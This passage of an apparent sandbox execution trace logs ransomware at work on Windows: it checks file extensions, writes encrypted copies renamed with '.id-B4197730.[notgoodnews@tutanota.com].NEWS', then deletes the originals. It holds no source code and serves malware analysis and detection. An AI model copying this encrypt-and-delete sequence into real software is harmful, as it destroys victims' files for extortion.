hTemplateFile=0x0) returned 0x348 [0088.249] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=987136) returned 1 [0088.249] CloseHandle (hObject=0x348) returned 1 [0088.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0088.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0088.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0088.249] lstrlenW (lpString=".doc") returned 4 [0088.249] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.249] lstrlenW (lpString=".docx") returned 5 [0088.249] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0088.249] lstrlenW (lpString=".pdf") returned 4 [0088.249] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.249] lstrlenW (lpString=".xls") returned 4 [0088.249] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.249] lstrlenW (lpString=".xlsx") returned 5 [0088.249] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0088.249] lstrlenW (lpString=".ppt") returned 4 [0088.249] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0088.250] lstrlenW (lpString=".zip") returned 4 [0088.250] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.250] lstrlenW (lpString=".rar") returned 4 [0088.250] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.250] lstrlenW (lpString=".bz2") returned 4 [0088.250] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.250] lstrlenW (lpString=".7z") returned 3 [0088.250] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0088.250] lstrlenW (lpString=".dbf") returned 4 [0088.250] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0088.250] lstrlenW (lpString=".1cd") returned 4 [0088.250] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0088.250] lstrlenW (lpString=".jpg") returned 4 [0088.250] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0088.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0088.250] lstrlenW (lpString=".doc") returned 4 [0088.250] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.250] lstrlenW (lpString=".docx") returned 5 [0088.250] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0088.250] lstrlenW (lpString=".pdf") returned 4 [0088.250] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.250] lstrlenW (lpString=".xls") returned 4 [0088.250] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.250] lstrlenW (lpString=".xlsx") returned 5 [0088.250] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0088.250] lstrlenW (lpString=".ppt") returned 4 [0088.250] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0088.250] lstrlenW (lpString=".zip") returned 4 [0088.250] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.250] lstrlenW (lpString=".rar") returned 4 [0088.250] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.250] lstrlenW (lpString=".bz2") returned 4 [0088.251] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.251] lstrlenW (lpString=".7z") returned 3 [0088.251] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0088.251] lstrlenW (lpString=".dbf") returned 4 [0088.251] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0088.251] lstrlenW (lpString=".1cd") returned 4 [0088.251] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0088.251] lstrlenW (lpString=".jpg") returned 4 [0088.251] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.251] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0088.251] lstrlenW (lpString="VSTOInstallerUI.dll") returned 19 [0088.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.253] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=12448) returned 1 [0088.253] CloseHandle (hObject=0x348) returned 1 [0088.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0088.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.254] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.254] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0088.256] GetLastError () returned 0x0 [0088.256] ReadFile (in: hFile=0x348, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x30a0, lpOverlapped=0x0) returned 1 [0088.258] WriteFile (in: hFile=0x358, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x30b0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x30b0, lpOverlapped=0x0) returned 1 [0088.259] ReadFile (in: hFile=0x348, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.259] WriteFile (in: hFile=0x358, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xfa, lpOverlapped=0x0) returned 1 [0088.259] SetEndOfFile (hFile=0x358) returned 1 [0088.259] CloseHandle (hObject=0x358) returned 1 [0088.259] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.259] SetEndOfFile (hFile=0x348) returned 1 [0088.260] CloseHandle (hObject=0x348) returned 1 [0088.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0088.260] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 1 [0088.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0088.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0088.260] lstrlenW (lpString=".doc") returned 4 [0088.260] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.261] lstrlenW (lpString=".docx") returned 5 [0088.261] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0088.261] lstrlenW (lpString=".pdf") returned 4 [0088.261] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.261] lstrlenW (lpString=".xls") returned 4 [0088.261] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.261] lstrlenW (lpString=".xlsx") returned 5 [0088.261] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0088.261] lstrlenW (lpString=".ppt") returned 4 [0088.261] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0088.261] lstrlenW (lpString=".zip") returned 4 [0088.261] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.261] lstrlenW (lpString=".rar") returned 4 [0088.261] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.261] lstrlenW (lpString=".bz2") returned 4 [0088.261] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.261] lstrlenW (lpString=".7z") returned 3 [0088.261] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0088.261] lstrlenW (lpString=".dbf") returned 4 [0088.261] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0088.261] lstrlenW (lpString=".1cd") returned 4 [0088.261] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0088.261] lstrlenW (lpString=".jpg") returned 4 [0088.261] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0088.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0088.261] lstrlenW (lpString=".doc") returned 4 [0088.261] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.261] lstrlenW (lpString=".docx") returned 5 [0088.261] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0088.261] lstrlenW (lpString=".pdf") returned 4 [0088.262] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.262] lstrlenW (lpString=".xls") returned 4 [0088.262] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.262] lstrlenW (lpString=".xlsx") returned 5 [0088.262] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0088.262] lstrlenW (lpString=".ppt") returned 4 [0088.262] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0088.262] lstrlenW (lpString=".zip") returned 4 [0088.262] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.262] lstrlenW (lpString=".rar") returned 4 [0088.262] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.262] lstrlenW (lpString=".bz2") returned 4 [0088.262] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.262] lstrlenW (lpString=".7z") returned 3 [0088.262] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0088.262] lstrlenW (lpString=".dbf") returned 4 [0088.262] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0088.262] lstrlenW (lpString=".1cd") returned 4 [0088.262] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0088.262] lstrlenW (lpString=".jpg") returned 4 [0088.262] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.262] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0088.262] lstrlenW (lpString="VSTOLoaderUI.dll") returned 16 [0088.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.265] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=20608) returned 1 [0088.265] CloseHandle (hObject=0x348) returned 1 [0088.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0088.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.266] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.266] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0088.266] GetLastError () returned 0x0 [0088.266] ReadFile (in: hFile=0x348, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x5080, lpOverlapped=0x0) returned 1 [0088.267] WriteFile (in: hFile=0x358, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x5090, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x5090, lpOverlapped=0x0) returned 1 [0088.269] ReadFile (in: hFile=0x348, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.269] WriteFile (in: hFile=0x358, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf4, lpOverlapped=0x0) returned 1 [0088.269] SetEndOfFile (hFile=0x358) returned 1 [0088.269] CloseHandle (hObject=0x358) returned 1 [0088.269] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.269] SetEndOfFile (hFile=0x348) returned 1 [0088.270] CloseHandle (hObject=0x348) returned 1 [0088.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0088.270] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 1 [0088.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0088.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0088.271] lstrlenW (lpString=".doc") returned 4 [0088.271] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.271] lstrlenW (lpString=".docx") returned 5 [0088.271] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0088.271] lstrlenW (lpString=".pdf") returned 4 [0088.271] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.271] lstrlenW (lpString=".xls") returned 4 [0088.271] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.271] lstrlenW (lpString=".xlsx") returned 5 [0088.271] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0088.271] lstrlenW (lpString=".ppt") returned 4 [0088.271] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0088.271] lstrlenW (lpString=".zip") returned 4 [0088.271] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.271] lstrlenW (lpString=".rar") returned 4 [0088.271] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.271] lstrlenW (lpString=".bz2") returned 4 [0088.271] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.271] lstrlenW (lpString=".7z") returned 3 [0088.271] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0088.271] lstrlenW (lpString=".dbf") returned 4 [0088.271] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0088.271] lstrlenW (lpString=".1cd") returned 4 [0088.271] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0088.271] lstrlenW (lpString=".jpg") returned 4 [0088.271] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0088.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0088.272] lstrlenW (lpString=".doc") returned 4 [0088.272] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.272] lstrlenW (lpString=".docx") returned 5 [0088.272] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0088.272] lstrlenW (lpString=".pdf") returned 4 [0088.272] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.272] lstrlenW (lpString=".xls") returned 4 [0088.272] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.272] lstrlenW (lpString=".xlsx") returned 5 [0088.272] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0088.272] lstrlenW (lpString=".ppt") returned 4 [0088.272] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0088.272] lstrlenW (lpString=".zip") returned 4 [0088.272] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.272] lstrlenW (lpString=".rar") returned 4 [0088.272] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.272] lstrlenW (lpString=".bz2") returned 4 [0088.272] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.272] lstrlenW (lpString=".7z") returned 3 [0088.272] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0088.272] lstrlenW (lpString=".dbf") returned 4 [0088.272] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0088.272] lstrlenW (lpString=".1cd") returned 4 [0088.272] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0088.272] lstrlenW (lpString=".jpg") returned 4 [0088.272] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.272] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0088.272] lstrlenW (lpString="VSTOInstaller.exe") returned 17 [0088.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.273] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=100488) returned 1 [0088.273] CloseHandle (hObject=0x348) returned 1 [0088.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0088.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.274] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.274] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0088.274] GetLastError () returned 0x0 [0088.274] ReadFile (in: hFile=0x348, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x18888, lpOverlapped=0x0) returned 1 [0088.598] WriteFile (in: hFile=0x358, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x18890, lpOverlapped=0x0) returned 1 [0088.601] ReadFile (in: hFile=0x348, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.601] WriteFile (in: hFile=0x358, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, 